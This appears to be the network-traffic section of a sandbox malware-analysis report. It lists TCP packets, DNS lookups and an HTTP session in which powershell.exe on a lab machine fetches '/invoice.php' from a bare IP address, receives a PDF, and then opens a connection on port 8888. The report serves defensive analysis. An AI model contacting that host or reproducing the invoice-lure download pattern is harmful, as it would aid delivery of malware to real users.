Jan 11, 2025 02:05:25.204319000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.204332113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.204361916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.204374075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.204405069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.204447031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.204551935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.204564095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.204602957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.221421003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221451998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221462965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221503973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.221519947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221556902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221569061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221577883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.221607924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.221694946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221705914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221724033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221735001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221743107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.221754074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221772909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.221915007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221927881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221939087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221951008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221960068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.221970081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.221999884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.222012043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.226649046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.226670980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.226680994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.226738930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.226749897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.226758957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.226775885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.226794958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.226805925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.226851940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.226892948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.226902962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.226948977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.256330013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256355047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256366968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256393909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.256421089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.256483078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256505013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256516933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256546021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.256692886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256709099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256721020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256731987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256742001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.256752014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256773949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.256794930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.256813049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256824970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256836891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256843090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256854057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.256880999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.256999969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257013083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257025957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257035017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.257067919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.257247925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257258892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257271051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257282019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257289886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.257301092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257313967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257323027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.257366896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.257390022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257400990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257412910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257424116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257437944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257443905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.257456064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.257498026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257508993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257518053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257529974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257538080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.257548094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257559061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257566929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.257577896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257590055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.257601023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257639885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.257977009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.257988930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258002043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258013964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258024931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.258044004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258057117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.258064032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258075953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258084059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.258094072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258106947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258126974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.258131981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258163929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.258296967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258310080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258322954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258337021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258347034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.258383036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.258564949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258577108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258589983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258601904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258615971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258622885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.258631945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258641005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.258651972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258660078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.258670092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258682013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258692980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.258699894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258714914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258728027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.258734941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258748055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258759975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258770943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.258780956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.258786917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.258819103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.259166002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.259180069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.259191990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.259211063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.259222984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.259232044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.259241104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.259253025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.259262085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.259274960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.259288073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.259300947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.259308100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.259326935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.259330988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.259351015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.261512995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.261567116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.261586905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.261598110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.261610985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.261622906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.261640072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.261657953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.261683941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.261697054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.261703014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.261717081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.261738062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.261768103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.261821985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.261833906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.261847019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.261883020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.261903048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.261915922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.261929989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.261943102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.261949062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.262026072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.279623032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.289486885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.291048050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.291059017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.291069984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.291115999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.291124105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.291136980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.291147947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.291177988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.291249990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.291261911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.291273117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.291320086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.308284044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.308298111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.308350086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.308357954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.308370113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.308392048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.308398962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.308446884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.308476925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.308487892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.308501959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.308512926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.308543921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.308567047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.308628082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.308640003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.308650017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.308661938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.308672905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.308684111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.308692932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.308726072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.308751106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.313883066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.313894987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.313906908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.313935995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.313952923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.313961983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.313972950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.313983917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.313990116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.314028978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.343311071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343333006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343344927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343379021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343394995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343406916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.343420029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343431950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343452930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.343477011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.343610048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343622923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343633890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343646049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343653917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.343688965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.343769073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343780041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343791962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343803883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343818903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.343825102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343842983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.343868017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.343978882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.343990088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.344002008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:25.344031096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.397805929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.417464018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:25.699743986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:26.483211040 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:26.488236904 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:26.488460064 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:26.493654013 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:26.498522043 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:27.273688078 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 02:05:27.319710016 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:05:27.428318977 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:05:39.434607983 CET	52486	53	192.168.2.4	1.1.1.1
Jan 11, 2025 02:05:51.485028982 CET	55565	53	192.168.2.4	1.1.1.1
Jan 11, 2025 02:06:08.260427952 CET	64906	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:05:39.434607983 CET	192.168.2.4	1.1.1.1	0x2ce6	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:05:51.485028982 CET	192.168.2.4	1.1.1.1	0x309a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:06:08.260427952 CET	192.168.2.4	1.1.1.1	0xd713	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 02:05:39.442101955 CET	1.1.1.1	192.168.2.4	0x2ce6	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:05:51.494638920 CET	1.1.1.1	192.168.2.4	0x309a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:06:08.268338919 CET	1.1.1.1	192.168.2.4	0xd713	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	4584	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:05:23.840312004 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:05:24.596247911 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:05:24 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:05:24.596275091 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
